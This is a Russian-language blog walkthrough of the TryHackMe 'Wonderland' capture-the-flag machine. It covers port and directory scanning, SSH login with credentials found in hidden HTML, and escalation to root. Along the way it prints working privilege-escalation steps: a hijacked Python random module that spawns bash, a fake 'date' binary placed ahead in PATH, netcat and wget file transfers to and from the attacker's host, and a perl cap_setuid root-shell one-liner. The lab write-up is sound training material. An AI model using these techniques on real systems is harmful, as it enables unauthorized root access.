Это руководство описывает процесс прохождения стенда "Wonderland" на платформе TryHackMe. Мы будем исследовать различные этапы, включая сканирование, эксплуатацию уязвимостей и повышение привилегий. Следуя за Белым Кроликом, мы сможем погрузиться в мир Wonderland и добиться получения root-доступа к целевой машине.
Разведка
Этап разведки был опущен, так как на исходном сайте не было обнаружено ничего примечательного. Перейдем сразу к этапу сканирования.
Сканирование
1. NMAP
Для сканирования сети и выявления открытых портов и служб был использован инструмент NMAP. Он позволяет получить информацию о версиях сервисов и их конфигурации.
Используем команду:
nmap -sC -sV target_ip
Пояснение флагов:
sC: Этот флаг запускает скрипты Nmap, эквивалентные параметру --script=default. Скрипты по умолчанию включают проверки на распространенные уязвимости и сбор информации.
sV: Данный флаг активирует определение версий служб. Nmap попытается определить версии служб, запущенных на открытых портах.
Результаты сканирования:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-03 18:39 MSK
Nmap scan report for target_ip
Host is up (0.066s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8e:ee:fb:96:ce:ad:70:dd:05:a9:3b:0d:b0:71:b8:63 (RSA)
| 256 7a:92:79:44:16:4f:20:43:50:a9:a8:47:e2:c2:be:84 (ECDSA)
|_ 256 00:0b:80:44:e6:3d:4b:69:47:92:2c:55:14:7e:2a:c9 (ED25519)
80/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Follow the white rabbit.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.94 seconds
Сканирование показало наличие SSH сервера на порту 22 и веб-сервера на порту 80.
Для поиска скрытых директорий и файлов на веб-сервере был использован DirBuster.
dirbuster -u http://target_ip /usr/share/wordlists/dirb/big.txt
Запустим сканирование директорий на сайте. Заметим необычный результат сканирования:
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Starting OWASP DirBuster 1.0-RC1
Starting dir/file list based brute forcing
Dir found: / - 200
Dir found: /img/ - 200
Dir found: /r/ - 200
Dir found: /r/a/ - 200
Dir found: /r/a/b/ - 200
Dir found: /r/a/b/b/ - 200
Dir found: /r/a/b/b/i/ - 200
Dir found: /r/a/b/b/i/t/ - 200
Перейдем по ссылкам:
и тд...
В описании стенда было сказано следовать за кроликом, поэтому мы продолжаем исследование директорий вплоть до /r/a/b/b/i/t/. Изучив исходный код страницы, мы обнаружили скрытое сообщение:
<!DOCTYPE html>
<head>
<title>Enter wonderland</title>
<link rel="stylesheet" type="text/css" href="/main.css">
</head>
<body>
<h1>Open the door and enter wonderland</h1>
<p>"Oh, you’re sure to do that," said the Cat, "if you only walk long enough."</p>
<p>Alice felt that this could not be denied, so she tried another question. "What sort of people live about here?"
</p>
<p>"In that direction,"" the Cat said, waving its right paw round, "lives a Hatter: and in that direction," waving
the other paw, "lives a March Hare. Visit either you like: they’re both mad."</p>
<p style="display: none;">alice:HowDothTheLittleCrocodileImproveHisShiningTail</p>
<img src="/img/alice_door.png" style="height: 50rem;">
</body>
Помимо цитаты из сказки, можно заметить подсказку alice:HowDothTheLittleCrocodileImproveHisShiningTail
Эти данные напоминают учетные данные для доступа через SSH.
Получение доступа
Используем найденные учетные данные для входа на целевую машину через SSH ssh alice@target_ip
alice@wonderland:~$ # Получаем доступ к хосту!!!!
После входа на целевую машину под пользователем alice, первым шагом будет исследование системы на наличие интересных файлов и директорий.
drwxr-xr-x 5 alice alice 4096 May 25 2020 .
drwxr-xr-x 6 root root 4096 May 25 2020 ..
lrwxrwxrwx 1 root root 9 May 25 2020 .bash_history -> /dev/null
-rw-r--r-- 1 alice alice 220 May 25 2020 .bash_logout
-rw-r--r-- 1 alice alice 3771 May 25 2020 .bashrc
drwx------ 2 alice alice 4096 May 25 2020 .cache
drwx------ 3 alice alice 4096 May 25 2020 .gnupg
drwxrwxr-x 3 alice alice 4096 May 25 2020 .local
-rw-r--r-- 1 alice alice 807 May 25 2020 .profile
-rw------- 1 root root 66 May 25 2020 root.txt
-rw-r--r-- 1 root root 3577 May 25 2020 walrus_and_the_carpenter.py
Мы обнаружили два интересных файла:
root.txt # очевидно наша главная цель
walrus_and_the_carpenter.py
Обратим внимание на владельца файлов - это root, при этом для файла root.txt правами даже на чтение обладает только сам владелец, а вот второй файл прочитать может кто угодно.
Возможно тут стоит устроить небольшой ликбез про CHMOD (вот этот набор символов в начале каждой строки).
Данная аббревиатура обозначает набор прав, которыми обладает тот или иной пользователь при взаимодействии с файлом. Всего существует три возможных действия:
execute: 1
write: 2
read: 4
Складывая числа можно установить какие права есть на файл. К примеру 1 + 2 = 3 - права на исполнение и запись. При этом права на файл определяются для трех групп пользователей
USER
USER GROUP
OTHER
Для каждой высчитываются привилегии и права на файл записываются в виде трехзначного числа, к примеру 755
USER 7 = 1 + 2 + 4 (execute + write + read)
USER GROUP 5 = 1 + 4 (execute + read)
OTHER 5 = 1 + 4 (execute + read)
Так же данные права могут быть записаны в ввиде аббревиатуры
rwx - read, write, execute соответственно.
Возвращаемся к прохождению, файл walrus_and_the_carpenter.py имеет права -rw-r--r-- нам интересна последняя часть r-- это обозначает что все из OTHER могут прочесть файл. Однако, поскольку владельцем папки в которой мы находимся является alice мы можем исполнить файл используя python интерпретатор.
Выполним команду cat walrus_and_the_carpenter.py
import random
poem = """The sun was shining on the sea,
Shining with all his might:
.
. POEM TEXT
.
And that was scarcely odd, because
They’d eaten every one."""
for i in range(10):
line = random.choice(poem.split("\n"))
print("The line was:\t", line)
Файл выбирает рандомные строки из поэмы и выводит их.
Чтож.. Продолжаем поиски, перейдем в home директорию и посмотрим, что еще там лежит.
>> ls -la ..
total 24
drwxr-xr-x 6 root root 4096 May 25 2020 .
drwxr-xr-x 23 root root 4096 May 25 2020 ..
drwxr-xr-x 5 alice alice 4096 May 25 2020 alice
drwxr-x--- 3 hatter hatter 4096 May 25 2020 hatter
drwxr-x--- 2 rabbit rabbit 4096 May 25 2020 rabbit
drwxr-x--- 6 tryhackme tryhackme 4096 May 25 2020 tryhackme
Как видим, довольно много интересного, и нам бы стоило посмотреть содержимое всех директорий, однако у нас нет прав((
Эскалация привелегий alice > rabbit
На данном шаге стоит посмотреть какие возможности есть у нашей alice
>> sudo -l -U alice
Matching Defaults entries for alice on wonderland:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User alice may run the following commands on wonderland:
(rabbit) /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
Как можно заметить, мы можем запустить тот скрипт walrus_and_the_carpenter.py от имени пользователя rabbit. В целом мы нашли вектор для дальнейших действий.
Поскольку мы можем заставить выполнить скрипт от имени rabbit значит надо как-то подсунуть в скрипт код выполняющий необходимые нам действия. Обратим внимание, что в скрипте имеется импорт библиотеки random, библиотека подтягивается из определенной директории на хосте.
Посмотрим откуда берутся данные файлы:
>> python3 -c 'import sys; print (sys.path)'
['', '/usr/lib/python36.zip', '/usr/lib/python3.6', '/usr/lib/python3.6/lib-dynload', '/usr/local/lib/python3.6/dist-packages', '/usr/lib/python3/dist-packages']
В целом вывод выглядит стандартно, однако первый в списке путей идет локальная папка.
Что если мы подсунем файл random.py в директорию откуда запускаем скрипт?
import os
os.system("/bin/bash")
Тем самым запустим bash оболочку от имени rabbit.
Эскалация привилегий rabbit > hatter
Вернемся к директории этого пользователя, в нем мы видим бинарный файл teaParty
>> ls -la rabbit/
total 40
drwxr-x--- 2 rabbit rabbit 4096 May 25 2020 .
drwxr-xr-x 6 root root 4096 May 25 2020 ..
lrwxrwxrwx 1 root root 9 May 25 2020 .bash_history -> /dev/null
-rw-r--r-- 1 rabbit rabbit 220 May 25 2020 .bash_logout
-rw-r--r-- 1 rabbit rabbit 3771 May 25 2020 .bashrc
-rw-r--r-- 1 rabbit rabbit 807 May 25 2020 .profile
-rwsr-sr-x 1 root root 16816 May 25 2020 teaParty
Используя утилиту netcat перекинем себе локально этот файл.
На локальной машине
nc -lvnp 7777 > teaParty
На хосте
nc host-ip 7777 < teaParty
Для декомпилирования используем ghidra. Для меня это вновинку и раньше я не работал с этим инструментом, но почитав пару гайдов, я смог разобраться. Декомпилировав файл teaParty, нас встречает окно ghidra. Для тех для кого ghidra так же был вновинку коротко распишу где что:
В центральной панели находится дизассемблированный двоичный файл
Справа от центрального окна, находится декомпилированное представление функции, обнаруженной в бинарнике (пока не выберем нужную нам функцию окно будет пустым)
Слева во вкладке Symbol tree находятся найденные в бинарнике символы
В нашем случае нас интересует вкладка Functions в Symbol tree. Выберем ее и перейдем в Decompile
Обратим внимание на выделенную строчку, в ней программа выводит date + 1. При этом date хранится в /bin/date. История похожа на то, что мы делали когда, подменяли библиотеку random своим скриптом, только теперь нам надо подменить date в bin чтобы программа наш код. Вернемся на атакуемый хост. Создать свой файл date в директории bin задача затруднительная (в целом невыполнимая, нам привилегий не хватает на это). В целом это можно обойти выбрав директорию в которой у нас достаточно прав, чтобы создать файл и указать ее в переменной PATH export PATH=/tmp:$PATH
перед bin в таком случае, при выполнении команды вредоносный файл будет найден раньше настоящего. В поисках директории в которой можно это провернуть, перейдем в корневую директорию машины, и единственным вариантом будет tmp/, там и создадим наш date. Скрипт практически идентичен предыдущему. (Не забудьте сделать его исполняемым)
#!/bin/bash
/bin/bash
Снова запустим скрипт teaParty.
>> ./teaParty
Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by hatter@wonderland:/home/rabbit$
Эскалация hatter > root
Как видим, все прошло успешно и теперь мы действуем от лица hatter. Посмотрим что в его директории.
drwxr-x--- 3 hatter hatter 4096 May 25 2020 .
drwxr-xr-x 6 root root 4096 May 25 2020 ..
lrwxrwxrwx 1 root root 9 May 25 2020 .bash_history -> /dev/null
-rw-r--r-- 1 hatter hatter 220 May 25 2020 .bash_logout
-rw-r--r-- 1 hatter hatter 3771 May 25 2020 .bashrc
drwxrwxr-x 3 hatter hatter 4096 May 25 2020 .local
-rw-r--r-- 1 hatter hatter 807 May 25 2020 .profile
-rw------- 1 hatter hatter 29 May 25 2020 password.txt
Конечно же нас интересует файл password.txt.
cat password.txt
WhyIsARavenLikeAWritingDesk?
Чтож теперь настола время для LinEnum или подобных инструментов для автоматизированного поиска небезопасных настроек на Unix подобных системах. Ранее я использовал netcat для трансфера файлов, теперь для разнообразия предлагаю поднять http сервер.
На нашей машине используем команду python3 -m http.server
, а на атакуемом хосте используем wget wget http://host-ip:8000/LinEnum.sh
А после запустим его и посмотрим на вывод
./LinEnum.sh
#########################################################
# Local Linux Enumeration & Privilege Escalation Script #
#########################################################
# www.rebootuser.com
# version 0.982
[-] Debug Info
[+] Thorough tests = Disabled
Scan started at:
...
Получилось довольно забавно, добавив date из tmp мы сломали возможность LinEnum отобразить время старта сканирования, чтож, удалим уже ненужный файл и перезапустим LinEnum. Вывод будет довольно большим и я советую покапаться и посмотреть какую информацию о системе выдал данный скрипт.
Изучая вывод можно заметить группу:
[+] Files with POSIX capabilities set:
/usr/bin/perl5.26.1 = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/perl = cap_setuid+ep
POSIX capabilities — это механизм в Unix-подобных операционных системах, позволяющий делегировать определённые привилегированные действия, обычно зарезервированные для суперпользователя (root), обычным пользователям или процессам.
Теперь воспользуемся сайтом gtfobins. Цитата:
"If the binary has the Linux CAP_SETUID capability set or it is executed by another binary with the capability set, it can be used as a backdoor to maintain privileged access by manipulating its own process UID."
Этим и воспользуемся, выберем необходимый пейлоад для perl и запустим.
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
Результат наших действий:
# whoami
root
#
Теперь выведем alice/root.txt
cat alice/root.txt
thm{***}
Наверное у вас возник вопрос, а где же флаг обычного пользователя. Чтож, как минимум у меня такой вопрос возник, посидев еще минут 30 я все таки решил проверить root директорию и забавно, но флаг находится именно там).
Спасибо, что дочитали до этого момента!) Это моя первая статья на Habr и я буду очень рад любому фидбеку!